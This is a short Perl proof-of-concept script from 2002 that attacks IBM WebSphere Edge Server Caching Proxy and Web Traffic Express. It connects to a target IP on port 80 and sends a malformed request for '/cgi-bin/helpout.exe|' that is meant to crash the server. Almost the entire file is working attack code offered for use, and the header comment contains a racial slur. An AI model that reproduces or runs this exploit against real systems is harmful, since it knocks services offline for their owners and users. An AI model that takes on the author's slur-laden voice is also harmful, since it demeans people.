#!/usr/bin/perl -w
# Proof of concept code
# IBM WebSphere Edge Server Caching Proxy Denial of Service by: Knight420
# Released: Oct.23.2002
#
# Known Versions Vulnerable:
# o IBM Web Traffic Express Caching Proxy Server v4.x (bundled with IBM 
WebSphere Edge Server v2.0)
# o IBM Web Traffic Express Caching Proxy Server v3.6
#
# Gr33tz to all my niggaz in cell block 10 and all my niggaz in Compton 
rolling on dubs
#

use IO::Socket;
if ($#ARGV<0)
{
system('clear ');
print "\nIBM WebSphere Edge Server Caching Proxy Denial of Service by: 
Knight420";
print "\n\n Usage: perl emptypockets.pl ip\n\n";
exit;
}
$check = ("GET /cgi-bin/helpout.exe| HTTP/1.0");
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]", 
PeerPort=>"80"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
system('clear ');
printf "IBM WebSphere Edge Server Caching Proxy Denial of Service by: 
Knight420";
printf "\n*** [1] Server is up...";
printf "\n*** [2] Sending our elite code...";
print  $connect "$check";
printf "\n*** [3] Server should now be crashed\n\n";
close($connect);